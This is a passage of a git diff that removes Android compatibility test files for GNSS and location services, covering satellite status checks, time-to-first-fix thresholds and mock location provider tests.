-          String.valueOf(status.getAzimuthDegrees(i)),
-          status.getAzimuthDegrees(i) >= 0.0 && status.getAzimuthDegrees(i) <= 360.0);
-      TestMeasurementUtil.verifyGnssCarrierFrequency(softAssert, mTestLocationManager,
-          status.hasCarrierFrequencyHz(i),
-          status.hasCarrierFrequencyHz(i) ? status.getCarrierFrequencyHz(i) : 0F);
-
-      softAssert.assertTrue("c_n0_dbhz: Carrier-to-noise density",
-          "0.0 <= X <= 63",
-          String.valueOf(status.getCn0DbHz(i)),
-          status.getCn0DbHz(i) >= 0.0 &&
-              status.getCn0DbHz(i) <= 63.0);
-
-      softAssert.assertTrue("elevation_degrees: Elevation in Degrees :",
-          "0.0 <= X <= 90.0",
-          String.valueOf(status.getElevationDegrees(i)),
-          status.getElevationDegrees(i) >= 0.0 && status.getElevationDegrees(i) <= 90.0);
-
-      // in validateSvidSub, it will validate ConstellationType, svid
-      // however, we don't have the event time in the current scope, pass in "-1" instead
-      TestMeasurementUtil.validateSvidSub(softAssert, null,
-          status.getConstellationType(i),status.getSvid(i));
-
-      // For those function with boolean type return, just simply call the function
-      // to make sure those function won't crash, also increase the test coverage.
-      Log.i(TAG, "hasAlmanacData: " + status.hasAlmanacData(i));
-      Log.i(TAG, "hasEphemerisData: " + status.hasEphemerisData(i));
-      Log.i(TAG, "usedInFix: " + status.usedInFix(i));
-    }
-  }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssTestCase.java b/tests/tests/location/src/android/location/cts/GnssTestCase.java
deleted file mode 100644
index c7d6f77..0000000
--- a/tests/tests/location/src/android/location/cts/GnssTestCase.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.location.cts;
-
-import android.test.AndroidTestCase;
-
-/**
- * Base Test Case class for all Gnss Tests.
- */
-public abstract class GnssTestCase extends AndroidTestCase {
-
-    // This is used to mark cts tests as CtsVerifier tests.
-    private volatile boolean mCtsVerifierTest = false;
-
-    protected static boolean YEAR_2017_CAPABILITY_ENFORCED = false;
-
-    protected TestLocationManager mTestLocationManager;
-
-    protected GnssTestCase() {
-    }
-
-    public void setTestAsCtsVerifierTest(boolean value) {
-        mCtsVerifierTest = value;
-    }
-
-    public boolean isCtsVerifierTest() {
-        return mCtsVerifierTest;
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssTtffTests.java b/tests/tests/location/src/android/location/cts/GnssTtffTests.java
deleted file mode 100644
index d614b72..0000000
--- a/tests/tests/location/src/android/location/cts/GnssTtffTests.java
+++ /dev/null
@@ -1,146 +0,0 @@
-package android.location.cts;
-
-import android.content.Context;
-import android.net.ConnectivityManager;
-import android.net.NetworkInfo;
-import android.os.SystemClock;
-import android.telephony.TelephonyManager;
-import android.util.Log;
-import com.android.compatibility.common.util.CddTest;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Tests for the ttff (time to the first fix) validating whether TTFF is
- * below the expected thresholds in differnt scenario
- */
-public class GnssTtffTests extends GnssTestCase {
-
-  private static final String TAG = "GnssTtffTests";
-  private static final int LOCATION_TO_COLLECT_COUNT = 1;
-  private static final int STATUS_TO_COLLECT_COUNT = 3;
-  private static final int AIDING_DATA_RESET_DELAY_SECS = 10;
-  // Threshold values
-  private static final int TTFF_HOT_TH_SECS = 5;
-  private static final int TTFF_WITH_WIFI_CELLUAR_WARM_TH_SECS = 10;
-  // The worst case we saw in the Nexus 6p device is 15sec,
-  // adding 20% margin to the threshold
-  private static final int TTFF_WITH_WIFI_ONLY_WARM_TH_SECS = 18;
-
-  @Override
-  protected void setUp() throws Exception {
-    super.setUp();
-    mTestLocationManager = new TestLocationManager(getContext());
-  }
-
-  /**
-   * Test the TTFF in the case where there is a network connection for both warm and hot start TTFF
-   * cases.
-   * We first test the "WARM" start where different TTFF thresholds are chosen based on network
-   * connection (cellular vs Wifi). Then we test the "HOT" start where the type of network
-   * connection should not matter hence one threshold is used.
-   * @throws Exception
-   */
-  @CddTest(requirement="7.3.3")
-  public void testTtffWithNetwork() throws Exception {
-    ensureNetworkStatus();
-    if (hasCellularData()) {
-      checkTtffWarmWithWifiOn(TTFF_WITH_WIFI_CELLUAR_WARM_TH_SECS);
-    }
-    else {
-      checkTtffWarmWithWifiOn(TTFF_WITH_WIFI_ONLY_WARM_TH_SECS);
-    }
-    checkTtffHotWithWifiOn(TTFF_HOT_TH_SECS);
-  }
-
-  /**
-   * Test Scenario 1
-   * Check whether TTFF is below the threshold on the warm start with Wifi ON
-   * 1) Delete the aiding data.
-   * 2) Get GPS, check the TTFF value
-   * @param threshold, the threshold for the TTFF value
-   */
-  private void checkTtffWarmWithWifiOn(long threshold) throws Exception {
-    SoftAssert softAssert = new SoftAssert(TAG);
-    mTestLocationManager.sendExtraCommand("delete_aiding_data");
-    Thread.sleep(TimeUnit.SECONDS.toMillis(AIDING_DATA_RESET_DELAY_SECS));
-    checkTtffByThreshold("checkTtffWarmWithWifiOn",
-        TimeUnit.SECONDS.toMillis(threshold), softAssert);
-    softAssert.assertAll();
-  }
-
-  /**
-   * Test Scenario 2
-   * Check whether TTFF is below the threhold on the hot start with wifi ON
-   * TODO(tccyp): to test the hot case with network connection off
-   * @param threshold, the threshold for the TTFF value
-   */
-  private void checkTtffHotWithWifiOn(long threshold) throws Exception {
-    SoftAssert softAssert = new SoftAssert(TAG);
-    checkTtffByThreshold("checkTtffHotWithWifiOn",
-        TimeUnit.SECONDS.toMillis(threshold), softAssert);
-    softAssert.assertAll();
-  }
-
-  /**
-   * Make sure the device has either wifi data or cellular connection
-   */
-  private void ensureNetworkStatus(){
-    assertTrue("Device has to connect to Wifi or Cellular to complete this test.",
-        TestUtils.isConnectedToWifiOrCellular(getContext()));
-
-  }
-
-  private boolean hasCellularData() {
-    ConnectivityManager connManager = TestUtils.getConnectivityManager(getContext());
-    NetworkInfo cellularNetworkInfo = connManager.getNetworkInfo(ConnectivityManager.TYPE_MOBILE);
-    // check whether the cellular data is ON if the device has cellular capability
-    if (cellularNetworkInfo == null) {
-      Log.i(TAG, "This is a wifi only device.");
-      return false;
-    }
-    TelephonyManager telephonyManager = (TelephonyManager) getContext().getApplicationContext()
-        .getSystemService(getContext().TELEPHONY_SERVICE);
-    if (!telephonyManager.isDataEnabled()) {
-      Log.i(TAG, "Device doesn't have cellular data.");
-      return false;
-    }
-    return true;
-  }
-
-  /*
-   * Check whether TTFF is below the threshold
-   * @param testName
-   * @param threshold, the threshold for the TTFF value
-   */
-  private void checkTtffByThreshold(String testName,
-      long threshold, SoftAssert softAssert) throws Exception {
-    TestLocationListener networkLocationListener
-        = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
-    // fetch the networklocation first to make sure the ttff is not flaky
-    mTestLocationManager.requestNetworkLocationUpdates(networkLocationListener);
-    networkLocationListener.await();
-
-    TestGnssStatusCallback testGnssStatusCallback =
-        new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
-    mTestLocationManager.registerGnssStatusCallback(testGnssStatusCallback);
-
-    TestLocationListener locationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
-    mTestLocationManager.requestLocationUpdates(locationListener);
-
-
-    long startTimeMillis = SystemClock.elapsedRealtime();
-    boolean success = testGnssStatusCallback.awaitTtff();
-    long ttffTimeMillis = SystemClock.elapsedRealtime() - startTimeMillis;
-
-    softAssert.assertTrue(
-            "Test case:" + testName
-            + ". Threshold exceeded without getting a location."
-            + " Possibly, the test has been run deep indoors."
-            + " Consider retrying test outdoors.",
-        success);
-    mTestLocationManager.removeLocationUpdates(locationListener);
-    mTestLocationManager.unregisterGnssStatusCallback(testGnssStatusCallback);
-    softAssert.assertTrue("Test case: " + testName +", TTFF should be less than " + threshold
-        + " . In current test, TTFF value is: " + ttffTimeMillis, ttffTimeMillis < threshold);
-  }
-}
diff --git a/tests/tests/location/src/android/location/cts/LocationManagerTest.java b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
deleted file mode 100644
index 89ee843..0000000
--- a/tests/tests/location/src/android/location/cts/LocationManagerTest.java
+++ /dev/null
@@ -1,1386 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.location.Criteria;
-import android.location.GnssStatus;
-import android.location.Location;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.location.LocationProvider;
-import android.location.OnNmeaMessageListener;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.Looper;
-import android.os.SystemClock;
-import android.os.UserManager;
-import android.test.UiThreadTest;
-import android.util.Log;
-
-import java.util.List;
-
-/**
- * Requires the permissions
- * android.permission.ACCESS_MOCK_LOCATION to mock provider
- * android.permission.ACCESS_COARSE_LOCATION to access network provider
- * android.permission.ACCESS_FINE_LOCATION to access GPS provider
- * android.permission.ACCESS_LOCATION_EXTRA_COMMANDS to send extra commands to GPS provider
- */
-public class LocationManagerTest extends BaseMockLocationTest {
-
-    private static final String TAG = "LocationManagerTest";
-
-    private static final long TEST_TIME_OUT = 5000;
-
-    private static final String TEST_MOCK_PROVIDER_NAME = "test_provider";
-
-    private static final String UNKNOWN_PROVIDER_NAME = "unknown_provider";
-
-    private static final String FUSED_PROVIDER_NAME = "fused";
-
-    private LocationManager mManager;
-
-    private Context mContext;
-
-    private PendingIntent mPendingIntent;
-
-    private TestIntentReceiver mIntentReceiver;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
-
-        mManager = (LocationManager) mContext.getSystemService(Context.LOCATION_SERVICE);
-
-        // remove test provider if left over from an aborted run
-        LocationProvider lp = mManager.getProvider(TEST_MOCK_PROVIDER_NAME);
-        if (lp != null) {
-            mManager.removeTestProvider(TEST_MOCK_PROVIDER_NAME);
-        }
-
-        addTestProvider(TEST_MOCK_PROVIDER_NAME);
-    }
-
-    /**
-     * Helper method to add a test provider with given name.
-     */
-    private void addTestProvider(final String providerName) {
-        mManager.addTestProvider(providerName, true, //requiresNetwork,
-                false, // requiresSatellite,
-                true,  // requiresCell,
-                false, // hasMonetaryCost,
-                false, // supportsAltitude,
-                false, // supportsSpeed,
-                false, // supportsBearing,
-                Criteria.POWER_MEDIUM, // powerRequirement
-                Criteria.ACCURACY_FINE); // accuracy
-        mManager.setTestProviderEnabled(providerName, true);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        LocationProvider provider = mManager.getProvider(TEST_MOCK_PROVIDER_NAME);
-        if (provider != null) {
-            mManager.removeTestProvider(TEST_MOCK_PROVIDER_NAME);
-        }
-        if (mPendingIntent != null) {
-            mManager.removeProximityAlert(mPendingIntent);
-        }
-        if (mIntentReceiver != null) {
-            mContext.unregisterReceiver(mIntentReceiver);
-        }
-        super.tearDown();
-    }
-
-    public void testRemoveTestProvider() {
-        // this test assumes TEST_MOCK_PROVIDER_NAME was created in setUp.
-        LocationProvider provider = mManager.getProvider(TEST_MOCK_PROVIDER_NAME);
-        assertNotNull(provider);
-
-        try {
-            mManager.addTestProvider(TEST_MOCK_PROVIDER_NAME, true, //requiresNetwork,
-                    false, // requiresSatellite,
-                    true,  // requiresCell,
-                    false, // hasMonetaryCost,
-                    false, // supportsAltitude,
-                    false, // supportsSpeed,
-                    false, // supportsBearing,
-                    Criteria.POWER_MEDIUM, // powerRequirement
-                    Criteria.ACCURACY_FINE); // accuracy
-            fail("Should throw IllegalArgumentException when provider already exists!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        mManager.removeTestProvider(TEST_MOCK_PROVIDER_NAME);
-        provider = mManager.getProvider(TEST_MOCK_PROVIDER_NAME);
-        assertNull(provider);
-
-        try {
-            mManager.removeTestProvider(UNKNOWN_PROVIDER_NAME);
-            fail("Should throw IllegalArgumentException when no provider exists!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-    }
-
-    public void testGetProviders() {
-        List<String> providers = mManager.getAllProviders();
-        assertTrue(providers.size() >= 2);
-        assertTrue(hasTestProvider(providers));
-
-        assertEquals(hasGpsFeature(), hasGpsProvider(providers));
-
-        int oldSizeAllProviders = providers.size();
-
-        providers = mManager.getProviders(false);
-        assertEquals(oldSizeAllProviders, providers.size());
-        assertTrue(hasTestProvider(providers));
-
-        providers = mManager.getProviders(true);
-        assertTrue(providers.size() >= 1);
-        assertTrue(hasTestProvider(providers));
-        int oldSizeTrueProviders = providers.size();
-
-        mManager.setTestProviderEnabled(TEST_MOCK_PROVIDER_NAME, false);
-        providers = mManager.getProviders(true);
-        assertEquals(oldSizeTrueProviders - 1, providers.size());
-        assertFalse(hasTestProvider(providers));
-
-        providers = mManager.getProviders(false);
-        assertEquals(oldSizeAllProviders, providers.size());
-        assertTrue(hasTestProvider(providers));
-
-        mManager.removeTestProvider(TEST_MOCK_PROVIDER_NAME);
-        providers = mManager.getAllProviders();
-        assertEquals(oldSizeAllProviders - 1, providers.size());
-        assertFalse(hasTestProvider(providers));
-    }
-
-    private boolean hasTestProvider(List<String> providers) {
-        return hasProvider(providers, TEST_MOCK_PROVIDER_NAME);
-    }
-
-    private boolean hasGpsProvider(List<String> providers) {
-        return hasProvider(providers, LocationManager.GPS_PROVIDER);
-    }
-
-    private boolean hasGpsFeature() {
-        return mContext.getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_LOCATION_GPS);
-    }
-
-    private boolean hasProvider(List<String> providers, String providerName) {
-        for (String provider : providers) {
-            if (provider != null && provider.equals(providerName)) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    public void testGetProvider() {
-        LocationProvider p = mManager.getProvider(TEST_MOCK_PROVIDER_NAME);
-        assertNotNull(p);
-        assertEquals(TEST_MOCK_PROVIDER_NAME, p.getName());
-
-        p = mManager.getProvider(LocationManager.GPS_PROVIDER);
-        if (hasGpsFeature()) {
-            assertNotNull(p);
-            assertEquals(LocationManager.GPS_PROVIDER, p.getName());
-        } else {
-            assertNull(p);
-        }
-
-        p = mManager.getProvider(UNKNOWN_PROVIDER_NAME);
-        assertNull(p);
-
-        try {
-            mManager.getProvider(null);
-            fail("Should throw IllegalArgumentException when provider is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-    }
-
-    public void testGetProvidersWithCriteria() {
-        Criteria criteria = new Criteria();
-        List<String> providers = mManager.getProviders(criteria, true);
-        assertTrue(providers.size() >= 1);
-        assertTrue(hasTestProvider(providers));
-
-        criteria = new Criteria();
-        criteria.setPowerRequirement(Criteria.POWER_HIGH);
-        String p = mManager.getBestProvider(criteria, true);
-        if (p != null) { // we may not have any enabled providers
-            assertTrue(mManager.isProviderEnabled(p));
-        }
-
-        criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
-        p = mManager.getBestProvider(criteria, false);
-        assertNotNull(p);
-
-        criteria.setPowerRequirement(Criteria.POWER_LOW);
-        p = mManager.getBestProvider(criteria, true);
-        if (p != null) { // we may not have any enabled providers
-            assertTrue(mManager.isProviderEnabled(p));
-        }
-
-        criteria.setPowerRequirement(Criteria.NO_REQUIREMENT);
-        p = mManager.getBestProvider(criteria, false);
-        assertNotNull(p);
-    }
-
-    /**
-     * Returns true if the {@link LocationManager} reports that the device includes this flavor
-     * of location provider.
-     */
-    private boolean deviceHasProvider(String provider) {
-        List<String> providers = mManager.getAllProviders();
-        for (String aProvider : providers) {
-            if (aProvider.equals(provider)) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    /**
-     * Ensures the test provider is removed. {@link LocationManager#removeTestProvider(String)}
-     * throws an {@link java.lang.IllegalArgumentException} if there is no such test provider,
-     * so we have to add it before we clear it.
-     */
-    private void forceRemoveTestProvider(String provider) {
-        addTestProvider(provider);
-        mManager.removeTestProvider(provider);
-    }
-
-    public void testLocationUpdatesWithLocationListener() throws InterruptedException {
-        doLocationUpdatesWithLocationListener(TEST_MOCK_PROVIDER_NAME);
-
-        try {
-            mManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0,
-                    (LocationListener) null);
-            fail("Should throw IllegalArgumentException if param listener is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            mManager.requestLocationUpdates(null, 0, 0, new MockLocationListener());
-            fail("Should throw IllegalArgumentException if param provider is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            mManager.removeUpdates( (LocationListener) null );
-            fail("Should throw IllegalArgumentException if listener is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-    }
-
-    /**
-     * Helper method to test a location update with given mock location provider
-     *
-     * @param providerName name of provider to test. Must already exist.
-     * @throws InterruptedException
-     */
-    private void doLocationUpdatesWithLocationListener(final String providerName)
-            throws InterruptedException {
-        final double latitude1 = 10;
-        final double longitude1 = 40;
-        final double latitude2 = 35;
-        final double longitude2 = 80;
-        final MockLocationListener listener = new MockLocationListener();
-
-        // update location and notify listener
-        new Thread(new Runnable() {
-            public void run() {
-                Looper.prepare();
-                mManager.requestLocationUpdates(providerName, 0, 0, listener);
-                listener.setLocationRequested();
-                Looper.loop();
-            }
-        }).start();
-        // wait for location requested to be called first, otherwise setLocation can be called
-        // before there is a listener attached
-        assertTrue(listener.hasCalledLocationRequested(TEST_TIME_OUT));
-        updateLocation(providerName, latitude1, longitude1);
-        assertTrue(listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
-        Location location = listener.getLocation();
-        assertEquals(providerName, location.getProvider());
-        assertEquals(latitude1, location.getLatitude());
-        assertEquals(longitude1, location.getLongitude());
-        assertEquals(true, location.isFromMockProvider());
-
-        // update location without notifying listener
-        listener.reset();
-        assertFalse(listener.hasCalledOnLocationChanged(0));
-        mManager.removeUpdates(listener);
-        updateLocation(providerName, latitude2, longitude2);
-        assertFalse(listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
-    }
-
-    /**
-     * Verifies that all real location providers can be replaced by a mock provider.
-     * <p/>
-     * This feature is quite useful for developer automated testing.
-     * This test may fail if another unknown test provider already exists, because there is no
-     * known way to determine if a given provider is a test provider.
-     * @throws InterruptedException
-     */
-    public void testReplaceRealProvidersWithMocks() throws InterruptedException {
-        for (String providerName : mManager.getAllProviders()) {
-            if (!providerName.equals(TEST_MOCK_PROVIDER_NAME) &&
-                !providerName.equals(LocationManager.PASSIVE_PROVIDER)) {
-                addTestProvider(providerName);
-                try {
-                    // run the update location test logic to ensure location updates can be injected
-                    doLocationUpdatesWithLocationListener(providerName);
-                } finally {
-                    mManager.removeTestProvider(providerName);
-                }
-            }
-        }
-    }
-
-    public void testLocationUpdatesWithLocationListenerAndLooper() throws InterruptedException {
-        double latitude1 = 60;
-        double longitude1 = 20;
-        double latitude2 = 40;
-        double longitude2 = 30;
-        final MockLocationListener listener = new MockLocationListener();
-
-        // update location and notify listener
-        HandlerThread handlerThread = new HandlerThread("testLocationUpdates");
-        handlerThread.start();
-        mManager.requestLocationUpdates(TEST_MOCK_PROVIDER_NAME, 0, 0, listener,
-                handlerThread.getLooper());
-
-        updateLocation(latitude1, longitude1);
-        assertTrue(listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
-        Location location = listener.getLocation();
-        assertEquals(TEST_MOCK_PROVIDER_NAME, location.getProvider());
-        assertEquals(latitude1, location.getLatitude());
-        assertEquals(longitude1, location.getLongitude());
-        assertEquals(true, location.isFromMockProvider());
-
-        // update location without notifying listener
-        mManager.removeUpdates(listener);
-        listener.reset();
-        updateLocation(latitude2, longitude2);
-        assertFalse(listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
-
-        try {
-            mManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0,
-                    (LocationListener) null, Looper.myLooper());
-            fail("Should throw IllegalArgumentException if param listener is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            mManager.requestLocationUpdates(null, 0, 0, listener, Looper.myLooper());
-            fail("Should throw IllegalArgumentException if param provider is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            mManager.removeUpdates((LocationListener) null );
-            fail("Should throw IllegalArgumentException if listener is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-    }
-
-    public void testLocationUpdatesWithPendingIntent() throws InterruptedException {
-        double latitude1 = 20;
-        double longitude1 = 40;
-        double latitude2 = 30;
-        double longitude2 = 50;
-
-        // update location and receive broadcast.
-        registerIntentReceiver();
-        mManager.requestLocationUpdates(TEST_MOCK_PROVIDER_NAME, 0, 0, mPendingIntent);
-        updateLocation(latitude1, longitude1);
-        waitForReceiveBroadcast();
-
-        assertNotNull(mIntentReceiver.getLastReceivedIntent());
-        Location location = mManager.getLastKnownLocation(TEST_MOCK_PROVIDER_NAME);
-        assertEquals(TEST_MOCK_PROVIDER_NAME, location.getProvider());
-        assertEquals(latitude1, location.getLatitude());
-        assertEquals(longitude1, location.getLongitude());
-        assertEquals(true, location.isFromMockProvider());
-
-        // update location without receiving broadcast.
-        mManager.removeUpdates(mPendingIntent);
-        mIntentReceiver.clearReceivedIntents();
-        updateLocation(latitude2, longitude2);
-        waitForReceiveBroadcast();
-        assertNull(mIntentReceiver.getLastReceivedIntent());
-
-        try {
-            mManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0,
-                    (PendingIntent) null);
-            fail("Should throw IllegalArgumentException if param intent is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            mManager.requestLocationUpdates(null, 0, 0, mPendingIntent);
-            fail("Should throw IllegalArgumentException if param provider is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            mManager.removeUpdates( (PendingIntent) null );
-            fail("Should throw IllegalArgumentException if intent is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-    }
-
-    public void testSingleUpdateWithLocationListenerAndLooper() throws InterruptedException {
-        double latitude1 = 60;
-        double longitude1 = 20;
-        double latitude2 = 40;
-        double longitude2 = 30;
-        double latitude3 = 10;
-        double longitude3 = 50;
-        final MockLocationListener listener = new MockLocationListener();
-
-        // update location and notify listener
-        HandlerThread handlerThread = new HandlerThread("testLocationUpdates4");
-        handlerThread.start();
-        mManager.requestSingleUpdate(TEST_MOCK_PROVIDER_NAME, listener, handlerThread.getLooper());
-
-        updateLocation(latitude1, longitude1);
-        assertTrue(listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
-        Location location = listener.getLocation();
-        assertEquals(TEST_MOCK_PROVIDER_NAME, location.getProvider());
-        assertEquals(latitude1, location.getLatitude());
-        assertEquals(longitude1, location.getLongitude());
-        assertEquals(true, location.isFromMockProvider());
-
-        // Any further location change doesn't trigger an update.
-        updateLocation(latitude2, longitude2);
-        assertEquals(latitude1, location.getLatitude());
-        assertEquals(longitude1, location.getLongitude());
-
-        // update location without notifying listener
-        mManager.removeUpdates(listener);
-        listener.reset();
-        updateLocation(latitude3, longitude3);
-        assertFalse(listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
-
-        try {
-            mManager.requestSingleUpdate(LocationManager.GPS_PROVIDER, mPendingIntent);
-            fail("Should throw IllegalArgumentException if PendingIntent is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            mManager.requestSingleUpdate(LocationManager.GPS_PROVIDER, (LocationListener) null,
-                    Looper.myLooper());
-            fail("Should throw IllegalArgumentException if param listener is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            mManager.requestSingleUpdate((String) null, listener, Looper.myLooper());
-            fail("Should throw IllegalArgumentException if param provider is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            mManager.removeUpdates((LocationListener) null );
-            fail("Should throw IllegalArgumentException if listener is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-    }
-
-    public void testLocationUpdatesWithCriteriaAndPendingIntent() throws InterruptedException {
-        double latitude1 = 10;
-        double longitude1 = 20;
-        double latitude2 = 30;
-        double longitude2 = 40;
-
-        registerIntentReceiver();
-        mockFusedLocation();
-
-        // Update location and receive broadcast.
-        Criteria criteria = createLocationCriteria();
-        mManager.requestLocationUpdates(0, 0 , criteria, mPendingIntent);
-        updateFusedLocation(latitude1, longitude1);
-        waitForReceiveBroadcast();
-
-        assertNotNull(mIntentReceiver.getLastReceivedIntent());
-        Location location = (Location) mIntentReceiver.getLastReceivedIntent().getExtras()
-                .get(LocationManager.KEY_LOCATION_CHANGED);
-        assertEquals(latitude1, location.getLatitude());
-        assertEquals(longitude1, location.getLongitude());
-        assertTrue(location.hasAccuracy());
-        assertEquals(1.0f, location.getAccuracy());
-        assertEquals(true, location.isFromMockProvider());
-
-        // Update location without receiving broadcast.
-        mManager.removeUpdates(mPendingIntent);
-        mIntentReceiver.clearReceivedIntents();
-        updateFusedLocation(latitude2, longitude2);
-        waitForReceiveBroadcast();
-        assertNull(mIntentReceiver.getLastReceivedIntent());
-
-        // Missing arguments throw exceptions.
-        try {
-            mManager.requestLocationUpdates(0, 0, criteria, (PendingIntent) null);
-            fail("Should throw IllegalArgumentException if param intent is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            mManager.requestLocationUpdates(0, 0, null, mPendingIntent);
-            fail("Should throw IllegalArgumentException if param criteria is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            mManager.removeUpdates( (PendingIntent) null );
-            fail("Should throw IllegalArgumentException if param PendingIntent is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        unmockFusedLocation();
-    }
-
-    public void testSingleUpdateWithCriteriaAndPendingIntent() throws InterruptedException {
-        double latitude1 = 10;
-        double longitude1 = 20;
-        double latitude2 = 30;
-        double longitude2 = 40;
-        double latitude3 = 50;
-        double longitude3 = 60;
-
-        registerIntentReceiver();
-        mockFusedLocation();
-
-        // Update location and receive broadcast.
-        Criteria criteria = createLocationCriteria();
-        mManager.requestSingleUpdate(criteria, mPendingIntent);
-        updateFusedLocation(latitude1, longitude1);
-        waitForReceiveBroadcast();
-
-        assertNotNull(mIntentReceiver.getLastReceivedIntent());
-        Location location = (Location) mIntentReceiver.getLastReceivedIntent().getExtras()
-                .get(LocationManager.KEY_LOCATION_CHANGED);
-        assertEquals(latitude1, location.getLatitude());
-        assertEquals(longitude1, location.getLongitude());
-        assertTrue(location.hasAccuracy());
-        assertEquals(1.0f, location.getAccuracy());
-        assertEquals(true, location.isFromMockProvider());
-
-        // Any further location change doesn't trigger an update.
-        updateFusedLocation(latitude2, longitude2);
-        assertEquals(latitude1, location.getLatitude());
-        assertEquals(longitude1, location.getLongitude());
-
-        // Update location without receiving broadcast.
-        mManager.removeUpdates(mPendingIntent);
-        mIntentReceiver.clearReceivedIntents();
-        updateFusedLocation(latitude3, longitude3);
-        waitForReceiveBroadcast();
-        assertNull(mIntentReceiver.getLastReceivedIntent());
-
-        // Missing arguments throw exceptions.
-        try {
-            mManager.requestSingleUpdate(criteria, (PendingIntent) null);
-            fail("Should throw IllegalArgumentException if param intent is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            mManager.requestSingleUpdate((Criteria) null, mPendingIntent);
-            fail("Should throw IllegalArgumentException if param criteria is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            mManager.removeUpdates( (PendingIntent) null );
-            fail("Should throw IllegalArgumentException if param PendingIntent is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        unmockFusedLocation();
-    }
-
-    public void testLocationUpdatesWithCriteriaAndLocationListenerAndLooper()
-            throws InterruptedException {
-        double latitude1 = 40;
-        double longitude1 = 10;
-        double latitude2 = 20;
-        double longitude2 = 30;
-       final MockLocationListener listener = new MockLocationListener();
-        mockFusedLocation();
-
-        // update location and notify listener
-        HandlerThread handlerThread = new HandlerThread("testLocationUpdates1");
-        handlerThread.start();
-        Criteria criteria = createLocationCriteria();
-        mManager.requestLocationUpdates(0, 0, criteria, listener, handlerThread.getLooper());
-
-        updateFusedLocation(latitude1, longitude1);
-        assertTrue(listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
-        Location location = listener.getLocation();
-        assertEquals(latitude1, location.getLatitude());
-        assertEquals(longitude1, location.getLongitude());
-        assertTrue(location.hasAccuracy());
-        assertEquals(1.0f, location.getAccuracy());
-        assertEquals(true, location.isFromMockProvider());
-
-        // update location without notifying listener
-        mManager.removeUpdates(listener);
-        listener.reset();
-        updateFusedLocation(latitude2, longitude2);
-        assertFalse(listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
-
-        // Missing arguments throw exceptions.
-        try {
-            mManager.requestLocationUpdates(0, 0, criteria, (LocationListener) null,
-                    Looper.myLooper());
-            fail("Should throw IllegalArgumentException if param listener is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
